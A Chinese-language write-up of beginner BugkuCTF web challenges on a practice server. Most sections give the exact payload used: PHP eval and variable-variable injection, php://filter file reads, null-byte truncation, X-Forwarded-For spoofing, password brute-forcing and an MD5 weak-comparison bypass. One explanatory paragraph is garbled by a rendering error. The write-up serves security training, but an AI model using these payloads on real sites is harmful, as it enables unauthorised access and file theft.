前言

萌新就要多刷题…

正文

web2

flag在源码的注释里

计算器

改一下text文本框的最大输入位数>1即可

web基础$_GET

GET方式传参即可

web基础$_POST

post方式传参即可

矛盾

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

这题要求传参num不能是数字,而且num=1,一开始没有什么思路,认为是弱类型的绕过,传了true进去,发现无效,问了一下度娘,发现在数字后面加上%00截断,is_numeric()函数就不能识别为数字了…
payload:

123.206.87.240:8002/get/index1.php?num=1%00

web3

这题疯狂弹出对话框,阻止以后查看源码,果然全是alert弹窗,在最下面的注释里发现了一大串编码,不太认识:
BugkuCTF-Web-Writeup
问了一下度娘,发现是unicode,直接在线解码即可

域名解析

进入windows/system32/drivers/etc/hosts中添加123.206.87.240 flag.baidu.com,然后直接访问域名即可

你必须让他停下

这题如何让他停下?直接bp抓包拦截,然后一次一次执行,go了几次发现flag
BugkuCTF-Web-Writeup

本地包含

 <?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?> 

REQUEST默认情况下包含了 _GET\_GET,_POST 和 _COOKIEflag.phpeval\_COOKIE 的数组。 这题的最终目的就是要看到**flag.php**里的内容,eval是执行a里的内容,所以直接file(‘flag.php’)就可以
payload:

http://123.206.87.240:8003/?hello=file(%27flag.php%27)

变量1

这题花了点时间研究了一下

flag In the variable !
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

理解1:preg_match()是正则表达式的匹配,/^表示开始,KaTeX parse error: Expected 'EOF', got '\w' at position 12: /表示结束,结束字符 \̲w̲包含\[a-z,A-Z,,0-…argsargs表示的是以args为变量名的变量;
理解3GLOBALS[];flagargs=GLOABLSGLOBALS[]包含正在执行脚本所有超级全局变量的引用内容; 开头就提示flag在变量里,所以只要看看变量里都放了些什么就可以了,args=GLOABLS就可以将argsargs解析成GLOBALS,var_dump打印变量的相关信息
这样就可以显示出所有变量的内容
BugkuCTF-Web-Writeup
payload:

http://123.206.87.240:8004/index1.php?args=GLOBALS

Web5

提示是jspfuck,查看源代码,复制下来放到google控制台跑一下
BugkuCTF-Web-Writeup
发现了ctf{whatfk},提交提示离答案非常接近,要求是CTF头,所以全部大写提交,成功…

头等舱

打开发现什么都没有…查看源代码也没有什么东西,F12查看一波也没有什么发现,无奈之下用bp截取之后运行…以为有点难,没想到是水题…
BugkuCTF-Web-Writeup

网站被黑

嗯,挺漂亮的网页,查看半天也没发现什么奇怪的东西,就扫一波后台目录
BugkuCTF-Web-Writeup
发现了index.php和shell.php,打开shell.php如图:
BugkuCTF-Web-Writeup
发现需要输入密码,bp抓一波,然后选择passwords字典暴力**
BugkuCTF-Web-Writeup
降序排列一波发现1110匹配项
BugkuCTF-Web-Writeup

管理员系统

这题不太会,找到源码中的base64编码
BugkuCTF-Web-Writeup
解码以后是test123,输入admin为用户名,test123为密码,发现不能访问,IP禁止访问,请联系本地管理员登录,也就是说需要本地登录才可以进去,所以就尝试着bp抓一波包,从大佬的wp中了解到这题需要伪装成本地访问才可以通过,伪装本地访问的方法就是在headers里面添加如下http头:

X-Forwarded-For:127.0.0.1

BugkuCTF-Web-Writeup
弹出flag:
BugkuCTF-Web-Writeup

web4

提示查看源码就查看一波源码,发现一大串url编码:
BugkuCTF-Web-Writeup
解码后:

function checkSubmit()
{
	var a=document.getElementById("password");
	if("undefined"!=typeof a)
	{
		if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
		return!0;
		alert("Error");
		a.focus();
		return!1
	}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;

将67d709b2b54aa2aa648cf6e87a7114f1这一串数字提交到表单里直接出flag…(什么鬼玩意儿)
BugkuCTF-Web-Writeup

flag在index里

文件包含题,和nctf的文件包含如出一辙;
payload:

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

解析为base64编码,解码后发现flag

输入密码查看flag

进去发现需要输入5位密码,就直接用burp**一下,先设置五位数字**
BugkuCTF-Web-Writeup
等一下发现出现length不一样的项目,直接找到了flag
BugkuCTF-Web-Writeup

点击一百万次

这题你点一下鼠标数值就会加一,

<script>
    var clicks=0
    $(function() {
      $("#cookie")
        .mousedown(function() {
          $(this).width('350px').height('350px');
        })
        .mouseup(function() {
          $(this).width('375px').height('375px');
          clicks++;
          $("#clickcount").text(clicks);
          if(clicks >= 1000000){
          	var form = $('<form action="" method="post">' +
						'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
						'</form>');
						$('body').append(form);
						form.submit();
          }
        });
    });
  </script>

查看源代码发现只要点击鼠标就会clicks++,method是POST,所以可以直接post一个clicks=1000000过去就可以了
BugkuCTF-Web-Writeup
得到flag
BugkuCTF-Web-Writeup

备份是个好习惯

提示备份直接进入index.php.bak,发现如下,是一个弱类型的MD5绕过,构造MD5值为0e开头的值就可以了

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);//返回从1到后面的字符
$str = str_replace('key','',$str);//key替换为''
parse_str($str);//字符串解析到变量
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

去掉第一个字符后,用’'替换key,也就是直接去掉key,然后字符串解析到变量,构造payload:

http://123.206.87.240:8002/web16/?kekeyy1=s878926199a&kekeyy2=QNKCDZO

持续更新…

相关文章:

  • 2021-05-17
  • 2021-12-18
  • 2021-10-27
  • 2021-09-27
  • 2021-10-10
  • 2021-04-26
  • 2021-09-30
  • 2021-06-07
猜你喜欢
  • 2022-12-23
  • 2021-07-14
  • 2021-06-02
  • 2021-05-12
  • 2021-11-25
  • 2021-10-11
  • 2022-12-23
相关资源
相似解决方案